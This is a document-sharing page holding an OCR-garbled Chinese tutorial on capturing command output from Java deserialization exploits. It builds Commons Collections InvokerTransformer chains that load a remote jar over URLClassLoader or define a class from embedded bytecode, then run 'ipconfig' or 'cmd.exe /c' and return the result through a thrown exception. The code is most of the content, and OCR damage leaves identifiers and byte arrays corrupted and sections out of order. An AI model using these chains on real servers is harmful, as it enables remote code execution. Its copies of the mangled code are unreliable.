收藏 分销(赏)

Java反序列化回显解决方案.docx

上传人:二*** 文档编号:4711291 上传时间:2024-10-10 格式:DOCX 页数:11 大小:126.88KB 下载积分:5 金币
下载 相关 举报
Java反序列化回显解决方案.docx_第1页
第1页 / 共11页
本文档共11页,全文阅读请下载到手机保存,查看更方便
资源描述
Java反序列化回显解决方案 new InvokerTransformer(*getConstructor*»new Class[]{Class[J.class}. new Object[](new Class[](URL[J.class))),new InvokerTransformer(*newInstance*. new Class[]{Object[].class),new Object [] (now Object[] (nw CRLU {new l'RL("hltp:〃127.0.0. 1:8090/sunner. jar*)}))), new InvokerTvansformer(*loadClass\new Class[]{String.class}, new Object!] {^suniier*}),new InvokerTransformer ("gzConmucik, nw Classi] {Class[],class},new Object[](nev Class[](Siring.class)}). new InvokerTransformer(*newlnstance*. ne*1 Class[] {Object[].class). new Object[](nev String[]{^ipconfig*}))总结 笔者这里总结都是以cc链为改造基础,其实CC还有很多玩法,大家可以脑洞一下,Java反序列化回显也不止本文中两种,比例说RMI、weblogic的T3协议。学习无止境,努 力就完事。 于无常处知有情,于有情处知众生 参考https://javasec. org/javase/ClassLoader/ . aliyun. com/1/7740 Java小白修炼手册 -全文完- 题外话 这是一篇本应该早就完成的文章,但是由于各种原因拖延至此。之前有读者就催我, 但是实在是各种事情缠身,加上自己颓废了一段时间导致现在才公布。之后可能会断更一段 时间关于代码审计方面文章,时间暂不确定。其实有几个题材早也确定,但是实在是没时间 去整理素材,加上项目的更新,让我变得更加繁忙,在此给位先说一声对不起。 前百 大多数Java反序列化漏洞都能执行命令,导致RCE。小伙伴们有没有想过网络上大多 数payload都是以弹计算机为止,但目标主机有没有弹计算机,或者执行其他的命令的时候 我们是并不知道的,因为没有回显任何的结果。这篇文章以反序列化漏洞的回显为题,教你 解决如何解决反序列化漏洞回显。 PS:为避免代码太长而导致的阅读效果,故将完整的实验代码全部己经上传至https://github. com/SummerSec/JavaLearnVulnerabi1ity defineclass异常回显 def ineclass是java. lang. ClassLoader类下的一个类方法,将字节码转化为Cl ass类。 protected final Class<?> defineClass(String name, byte[] b, int off, int ten)throws ClassFormatError return defineClass(namez b, offz len, protectionDomain: null); defineClass protoctod firuldotinsClassC^ixlBt nojo. ProtMticrTcBaic protoctioff£k>nain)threw5 C].”?cma,Error 使用可选的ProtecticnDo-in将一个byte数蛆转换为CU5S类的实例.虻果该域为null,则将默认域分配始 59皿岛* bmf int. in"的文档中指定倒 类.这个类必须分析后才铳使用. 包中定义的第一个类确定在该包中定义的所有后续类必须包含的证书的确切生合.从该类的 ^.ctionDomin中的CodeSy 可以获得美的证书生合.添加到该包中 的任何类都必须包含相同的证书生合,否则抛出Socurityt心Xis异常.注意,如果ng为顽】,则不执行该检查.应该始*?传入蓉定义的类的二避制名鼻以JB字 节.这可确保定义该类的正曲性. 指定的不能以开头,因为,]«. *•包中的所有关都只隘由引m美加栽器定义.如果8*不是~11. JM它必定等于由byte数组%•指定的奏的二浒剖 £1£E,否则将拥出 J*oCl“》D・f,osJBrroc. 参数: “a -所需类的二iM割名称.如里不知ifi此名称,则该差故为心1b -组成类敖据的字节.从。”到ot^un-i的字节应该具有由《Java Virtual Machine Specification〉定义的有效类文件的格式. om-类数据的b中的起始18侈量l.n -关数据的长度 protActicrDoMin -类的 ProtectionDomain 返回: 从数据中创球的Cl*ss对每和可选的Prot«tionI>aMin. 98出: 'esgs -如果数}R不包含有效的类XoC 1仰mm但rror -如果nmc不等于b指定i并制名称. IndeiOM饵cnmdsgxEMion ■如果 off 或者 len 为负,或者 off*len 大于 b. leneth^血皿iivfiyim -如果试图将此类添加到某个包中,而这个包中包含由不同证书集合(而不是该类)签名的类,或者mm以■ j”a.-开头. ClassLoder类加载机制 Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需 要先编译成class文件,Java类初始化的时候会调用java. lang. ClassLoader加载类字节码, ClassLoader 会调用 JVM 的 native 方法(def ineClassO/1/2)来定义一个 java. lang. Class 实例。 类加裁器 二该制数据读取“ 环境属性 Java虚核机 CLASS PATH 系统 迸程 字节码文件 进程管理 资源操作 底层函数 “V.类名称 环境信息 类加载器有三个,根加载器Bootstrap、平台类加载器PlatformClassLoader以及用户类加 载器AppClassLoadero用户也可以自定义类加载器,自定义的类加载器需要继承ClassLoader 类。 【根加菠毒1 Bootstrap【平台类加栽2S】PiatformClassLoader tt用户类加载器】AppClassLoader 类加载demo 下面给出的是一个完整的用户自定义加载器加载类字节码的DEMO, Summer类字节码怎么获取下文会讲解,目前先看一下类加载器的实现。 温馨提示:如果使用笔者在GitHub上项目,请先将Summer类删除,或者移到其他地方。 puhlic dcm(>2 extends ClnsxLoitder ( // Surrncr 类名 private static String testCHssNanje = *sufrrocr. classload. Sumner*; // Sunncr. class 类字节码 private static byte(; testClassBytcs nr* byte(]{ -54, -2, -70, -66, 0, 0. 0, 52. 0. 96, 10. 0, 24. 0. 53, 7. 0, 54, 7, 0, 55, & 0, 56. 8, 0, 57, 10, 0, 2. 0, 58. 10, 0, 2. 0. 59, 10. 0, 60. 0. 61, 7» 0, 62, 8, 0.10, 0,0, 65, 10, 0. 9, 0, 66, 7, 0. 67. 10, 0. 13, 0, 68. 7, 0, <W. 10, 0. 15, 0, 53, 10> 0. 13, 0. 70. 10, 0. 15, 0, 71. 8, 0, 72. 7,0, 73. 10, 0, 15.0, 74. 10, 0, 20. 0, 75, 7. 0, 76. 7, 0, 77,1, 0, 6. 60»105. 110> 105, 1】6, 62, 1,0,21. 40, 76. 1%, 97. 118, 97. 47, 108. 97, )10. 103, 47, 83. 1】6, lit105, 110. 103, 59, 41> 86. 1. 0, 4. 67, 111,100, 101. 1,0, 15. 76, 105. 110, 101.7&U7. 109,的,101, 114. 84, 97. 98, 108, 101, 1. 0. 】8» 76, 111,99, 97, 108, 86, 97, 114» 105. 97. 9& 108, 101. 8名 97, 98, 108,101. h 0, 4,104, 105.115, h 0, 25, 76, 115, 117. 109, 109. 10hU4» 47,99, 108. 97,115. 115» 108. HL 97. 100» 47. 83, U7, 109, 109. 101, 114. 59,1. 0» 3, 99.109, 100, 1> 0,18, 76, 106, 97. 118. 97, 47. 108, 97. 110,103. 47, 83,116.114, 105. 110, 103. 59, 1. 0, 6»115.】】& 114.101, 97,J09,1. 0, 21.76,106, 97,118.97»47.105, 111, 47, 73,HO.112,117, 116. 83,116.114,10h 97.109,59. 1, 0, 12. 115, 116. Hh 101, 97, 109,82,101.97,100,)01,114,h 0. 27,76.106,97,118, 97. 17» 105,111,17,73. 110,112»117.116, 83, 116.114» 101. 97, 109. 82,101. 97,100.10h 114. 59,I. 0. 14.98.HL102.102,101.114.101,100. 82, 101. 97,100. I0L 114.1. 0, 24. 76, 106. 97,118, 97.47,105. Ill, 47. 66,117. 102,102.101, 111. 101t100. 82.101.97,100.101,114.59.1. 0,6. 98. 117, 102.102.101, 114.1, 0, 24. 76, 106. 97, 118, 97.47,108. 97, 110. 103,47. 83,116.114, 105. 110,103. 66.117.102,102.101,114.59.1. 0,4. 108. 105. 110,101.1. 0. 13.83, 116. 97, 99. 107,11.97.112,8!. 97. 98. 108. 101. 7. 0.76. 7. 0, 55. 7. 0.78.7. 0.62.1. 0.67.7, 0. 69,1. 0. 10, 69. 120, 99, 101. 112. 116, 105. Ill, UO. 115.1. 0. 10,83.HUU7. 114. 99. 101, 70. 105,108. 101, I. 0.11»83.117t109.109,101,114. 46.106.97.118.97. 12, 0. 25, 0.79.L 0.24, 106. 97.118.97. 47,108. 97, U0.10X 47. 80. 114. Ill,99.101, 115. 115, 66.117, 105. 108, 100. 101, IM. h0. 16. 106. 97. 118.97. 47.108. 97.110. 103. 47.83,116. 114,105. 110. 103. L 0. 7. 99. 109. 100, 46. 101, 120. 101, 1. 0.2. 47. 99, 12. 0. 25. 0.80.12. 0. 81.0.82. 7.0.83,12. 0. 81.0.85. 1.0.25.106. 97, 118. 97. 47. !05, Ul. 47. 73. 110. 112. 117. 116. 83. 116. lit 101. 97, 109. 82. 101. 97. 100. 10h IM. 1, 0. 3. 103, 98. 107t 7. 0. 86. 12. 0, 87. 0. 88.12. 0. 25. 0.89, I. 0. 22, 106. 97.118.97, 47. 105. HI.47.66. 117. 102. !02, 101.Ill,101. 100.82,101, 97.)00.101. 114.12.0, 25.0.90.I. 0. 22.106. 97, 118.97. 47. !08. 97. 110.103.47. 83. 116. 111.105.HO. 103.66. 117. 102.102,101. 111.12.0. 91.0.92.12. 0. 93,0.94. 1.0.lv10. 1. 0. 19. 106. 97. 118. 97. 47. 108. 97. 110. 103. 17. 69. 120. 99. 101. 112. 116. 105. 111. 110. 12. 0. 95. 0. 92. 12. 0. 25. 0. 26.0. 23. 115. 117. 109. 109. 101vIM. 47.99. 108. 97,115.115. 108. Hl.97,100.47,83,117.109.109.101.111. 1. 0. 16. 106. 97. 118. 97. 17, 108. 97. 110.103. 47. 79. 98. 106. 101v99.116.I. 0. 19. 106. 97.118. 97. 17.105.Ul.47,73,110.112.117,U6.83. 116. 114. 101, 97. 109. 1. 0. 3. 40. 11. 86.I.0. 22. 10. 91. 76,106. 97.118.97,-17. 108. 97.110.103. 47, fi3. 116. 111. 105.HO.103.59,41, 86. 1.0. 5, 115, 116. 97, IM. 116. I. 0. 21, 40, 41.76.106, 97, 118. 97.17. 108.97.110.103. 47, 80.1H.111. 99.101.115.115.59.I. 0. 17. 106.97.118.97. 47. 108. 97. 110. 103. 47. 80. 114. Ul. 99.101. 115. 115. 1. 0.14. 114, 101. 97. 109. 59, 1. 0 .24, 106. 97, U8. 97, •17. 110, 105. 11L 47. 99. IO1. 97, IM. 115, 101. 116. 47. 67, 101. 97, IM. 115# 101. 116, 1. 0. 7. 102. 】】L 111. 7& 97. 109, 101. 1, 0 .16. 40, 76. 106, 97, 118, 97. 4礼 108. 97, 110. 103, 47. 83, 116. 114, 105. 110, 103. 59, 41. 76, 106. 97, 118. 97, 47. 110, 105. 111.私 99. 104. 97. 114. 115. 101, U6. 47, 67. 104. 97. 114, H5. 101, 116. 59. 1. 0. 50. 40. 76, 106. 97, 118. 97, 47. 105, 111. 47, 73. 110, 112. 117, 】16, 83. 116, 114. 101. 97. 109, 59. 76, 106. 97, U8. 97. 47. 110. 105. Ill, 47. 99, 101. 97. 114. 115, 101. 116, 47. 67, 101. 97. H4. 115, 101. 116, 59. 4L 101. 116. 73. 110, 112. 117, 116. 83, 116. Ill, I0L 97. 109, 1. 0. 23, 10. 41. 76. 106. 97. 118. 97, 17. 105, HI. 17, 73. HO, U2. 117, 116. 83. 116. 8& 1. 0. 19,•10. 76. 106. 97. 118. 97. 47. 105. Hl. 47. 82. 101. 97. 100. 101. IM. 59. 4!. 86. I. 0. 8. IM. 101, 97. 100. 76. 105. 110. 101. 1. 0. 20. 40. 41. 76. 106, 97. 118, 97. 47. 108. 97. HO. 103. 47. S3. 116. 114. 105. 110. 103. 59. 1, 0. 6. 97. 112. 112. 10L 110. 100, I. 0. 44. 40. 76, 106. 97. U8. 97. 47. 108. 97, 110. 103, 47. 83. 116. 114. 105. 110, 103. 59. 41. 76. 106. 97. 118. 97. 47. 108. 97. 110. 103. 47. 83. 116. 114. 105. HO. 103. 66. 117, 102. 102, 101t 114. 59. 1. 0. 8. 116. lllv 83. 116, 114. 105. 110. 103. 0. 33. 0. 23. 0. 24. 0. 0. 0. 0. 0. 1. 0. 0. 26. 0. 2. 0. 27. 0. 0. lt 27. 0. 6. 0. 7. 0. 0. 0. 112. 42. -73. 0. i. -69. 0. 2. 89, & -67. 0. 3. 89, 3. 18. •1. 83. 89, 4. 18. 5. 83. 89, 5. 43. 83, -73. 0. & -74. 0. 7. -71. 0. 8. 77. -69. 0. 9. 89. 44. 18. 10. -72. 0. 11. -73. 0. 12. 78. -69. 0. 13. 89. 45. -73. 0. 14. 58. 4. Y9. 0. 15. 89. -73. 0. 16. 58. S. 58. 6, 25, 4. -74. 0. 17t 89. 58. 6. -58. 0, 19. 25. 5t 25. 6, -74. 0. IB. 18. 19. -7*1. 0. 18. 87. -89. -1. -24. -69. 0. 20. 89. 25. 5, -7i. 0. 21. -73. 0. 22. -65. 0. 0. 0. 3. 0. 28. 0. 0. 0. S8. 0. 9. 0, 0. 0. 7, 0. 1. 0. & 0. 36, 0. 9, 0. 50. 0. 10. 0. 60. 0. 11. 0. 69. 0. 12. 0. 72. 0. M. 0. 83, 0. 15. 0. 99. 0. 18. 0. 29. 0. 0. 0. 72. 0. 7. 0. 0. 0. 112. 0, 30. 0. 31, 0. 0, 0. 0. 0. 112. 0. 32, 0. 33. 0. 1. 0, 36. 0. 76, 0. M,0. 0. 31, 0. 2. -1. 0. 72. 0. 7. 7. 0. 41. 7. 0. 45, 7, 0. 46, 7, 0. 17. 7. 0. 48, 7, ); •Override public Claxx<?> I'iniiClaKN(Siring nanr) thr<wiN ClaKKNolFnufKiExceplion ( if (nanr.equals(les;tClnssKamc)) I // iN用 JV)I 的 dcfirwCRw 方法定义 Simnei■类 return dcfincClassftcstClassNamc. tcstClassBytcs, 0. IcstCHssBytcs. length); return super, findl-lass (name); public static void iwin(String。args) { //创建口定义的类加我器 deno2 loader s new deno2(); try ( //使用自定义的类加攸器UlttTestHelloWorld类 Class testClass = loader. loodClass(testClassNane): // 反射创 it Sunner 类.等价于 Sinroer t = nw Sunner( * ipconfig): testClass, ^etConstructor(String, class). ne*Instance(*ipconfig*): } catch (Exception e) { e.printStackTrace();Summer类代码,这里是将回显结果使用异常类抛出。 public class Sunnier ( public void Sutuu*r(String end) throvs Exception { InpulStreaifi st Irani = (nrw ProcessBui lder(nrw String[] exe*. */c*. cbk!})). start (). gel [n|xitSlrraAi(): IripuISI reaitfteader KtrcanReader = new InpuISt r eairfieader (xtreati. Gmrset. forNane(*gbk*)); Buf I'rrrdRrMdcr buffercdRradtT = nrw Ruffc*rrdRradcr (xI rrjinftcadrr): StringBuffcr buffer = nev StringBufferO: String 1 inc = nul1; wiii lc((l inc ■ buffcrcdRcndcr. rcndLincO) !■ nu) 1)( buffer, nppcndd inc), append (*\n*); throw new Except ion (buffer. toStringO): 工具类将.class字节码文件转化成字节数组,可以添加自定义改造成适合自己方法。 public class FiletoBytes { public FiletoBytesCString file nanx?) {♦ ©Author: ♦ ©Author: suirroer * QCreateDate: * QCreateDate: 2020/5/26 M:39 * WpdateUser: * WpdateUser: sunmer * WpdateDate: * WpdateDate: 2020/5/26 M:39 ♦ WpdateRemaik: ♦ WpdateRemaik: 修改内容 * Version: vLO.O * ^Description: 只JU要传入文件的绝对路径就叫以进行转化 *箫要根据文件大小修改byt”大小 *箫要根据文件大小修改byt”大小 */ public String FiletoBytes(String filename )( String buf = null: // 20n bylc[] bytes = new byte[10%]; File file = new File(filename): FiIcInputSlrcan fix = nulI: fis = ncv Fi lcInpntStrc<un(fi 1c): fis. rcMd(hytcs); buf = Arrays. toString(bytcs); fis. close0; return buf; } cntch (FiIcNotFoundExcept ion e) I e. printStnckTraceO; I catch (lOException e> ( e. printStnckTraceO; return buf: * ©Author: sunroer * «?reateDate: * «?reateDate: 2020/5/26 15:20 ♦ WpdateUser: ♦ WpdateUser: sunroer ♦ WpdateDate: ♦ WpdateDate: 2020/5/26 15:20 * WpdateRemark: * WpdateRemark: 修改内容 * Version: * OQescription: bytes大小需要传入设Ht */ public String FiletoBytes(String filename .byte[] bytes)( String buf = nul1: FilelnputStreaii fis = null: fix = new FilelnputStream (file): fix. read(bytes); huf = Arrays. toSlring(bytcs); fis.close(); return buf; } catch (FiIcNotFoundExccpt ion c) { e. printStnckTraceO; } catch (lOExccption c) I e. printStnckTraceO; return buf;简单使用demo,将Summer, class文件转化。 public class demol (// Sunner. class的绝对路径 static final Siring file nane =♦ File, separator * *Soures* * File. separator • *JavaLearnVulnerabi1ity* • File, separator " ^Sunroer. class*;static final byte[] bytes = nw byte[1600]: public static void nain(String[] args) {FiletoBytes filetoBytes = new FiletoBytesffile_nane): System, out. print In (F接传入文件.以认bytes X小就认为4kb。: System, out. print In (filotoBytes. Fi leto8ytes(fi le.nane)): Systen. out. print 1 n(*1$入文件和 bytes*): Sys ten. out. pr i nt 1 n (f i 1 etoBy tes. Fi letoBytes(f i le.naae, bytes)): 温馨提示:在转文件的时候最好先看看文件大小,传入合适的数组大小。因为后面这些多余出0要删除,否则会报错。 3«, 8, 31, •, 8, B, 1, 8. 32. 8, 33, 9f 2. B. 27, 6, 8. 1. 19. 8.如 8, 7, •, 8, 8.诵8, -69. 9. 2. 89, 6. -67. 9, 3. 89, 3. 18, 4. 83. 89. 4. 18. 5, 83. 89. 5, 43, 83, -73. 0. 6. -74, 8. 7, -74, 8. 8. 77, -69, •, 9, 89, 3, 18. 18, -72, 8. llr -73, 8, 12, 78,・58,知-69, 8, 15. 89, -73,16. 58, 5, 1. 58, 6, 25. 4, -74,,17r 89. 58. 6. -M, 8, 19, 25, 5. 25, 6, -74, 0 -89r -1,・2知-69, 0, 26, 89, 25, 5, -74r 8. 21, -73r22, -65. 0, 6, 8. 3, 6r 28. er 6. X, 8r 8, 3, 6t 8, 16七 56, is, o, 65, er “,ex 68, e, uf e( 79, er 17, e, 95r e, 2七 er 29, er o, 72, eff 乙 or e, iesr e, se M. e, 35, e, 1. •, 32, 8. 76, 8, 36, 土 57.匕 2, 9. 46, 8, 62,38, •. 59, •, 3,・,56, •, S2, 8. S, 8, 41, •43, 8, 5,,68,0.6, 35, •, 6r 8, 45, 8, 8, 8, 31,,2, -1, •, 68, 0. 7, 7r 8V ", 7, B. 47, 7r 0, 48 7. e, 47, 8, e, 26, e, 52, •, 8, e, 4, e, i,七 2e( e, i, e, 55, 9, e, e0 2. er 54, to, e, e. e, ef e. e, ef e. o,(69, 8. 13, 89. 45, -75. 8. 14r 18. 18, 19, -74, 6r 18, 87,S, 32, •, 11. 6, A6, 9. 12, e. si,七 e, •,・,e, im, er 4. 9t 65, et 43, e, 42,7. 9t 49. 7. , 5«r 7, 9, 51, defineclass' s demopublic c庇$ defineclass extends Claxsl.oader{ private static String cbissniwr = *Nunnt'r.clnssloiid.Sunnrr*;//部分字节码,完整获取github, private static bytef] clnssBytcs = new bytcC](7, 0. 62. 8, 0. 63, 10, 0. 6-4, 0. 65, 10, 0. 9, 0, 66. ?, 0, 67.1; 〃使用反射的方法 public static void nain(StrinK() nrgs) throws Exception Idefineclass defineclass ■ ne* defineclassO; Closs cis u defineclass. defineCloss(cldssn<we.classBytes.O>classBytes. length): cis. getConstructor(String. class), newlnstoncet^+iooni*);, D:\Java\jdk\bin\java.exe ・.. " Exception in thread Fain” java.lang.reflect.InvocationTargetException <4 internal calls> at Causedsummer.echodisplay.defineclass・ main(defineclass.、ava:26) by: java.lang,Exception: samny'samnyat summer.classload.Summer・财・ java:18)5 more Process finished with exit code 1 ccdefineclass改写cc链,来达到获取回显。这里有一个坑,JDK自带java. lang. ClassLoader类下的 defineclass是权限是protected不能直接通过反射调用,故不顾虑使用这个类,笔者使用的是 web logic 中的 wlfullclient. jar!, org. mozilla. classfilc. DefiningClassLoadero 笔者这里只给出部分实现代码。 Transfonw?r[J transformers = new Transformer!](//nev ConstantTransfonier(Classlx)ader.class), new ConstantTransformer(DefiningC1assLoader. class). new 1nvokerTrans forme r(*getCanstructor*. nw Classi] {Class[J.class},new Object[]{new ClasslO]}), new 1nvokerTrans forme r(*newlnstance*. ne*1 Class[] {Object[].class). new Object[1{nev Object[O])). i 心 1 nvokerT r ans f orn>e r (*defineClass*. fie-A* Classi) {String, cla^s. byte[]. . new Object [] /sunnff. cImnsIohcI. Sutinrr*. bytes)),new InvokerTranxfotirier (*nrwlnstancr*. nt^- C)nss[) {},rww Object[] (}〉, new InvnkcrTrnnsformer(*Excc*,nr**' C)nNK(] {String. clas$] v new Object()(*ipconfig*l),URLClassLoader远程加载文件回显 URLClassLoader 是 java, net 卜的类,继承了 java. lang. Classloader 类对象。 URLClassLoade
展开阅读全文

开通  VIP会员、SVIP会员  优惠大
下载10份以上建议开通VIP会员
下载20份以上建议开通SVIP会员


开通VIP      成为共赢上传

当前位置:首页 > 通信科技 > 开发语言

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2026 宁波自信网络信息技术有限公司  版权所有

客服电话:0574-28810668  投诉电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服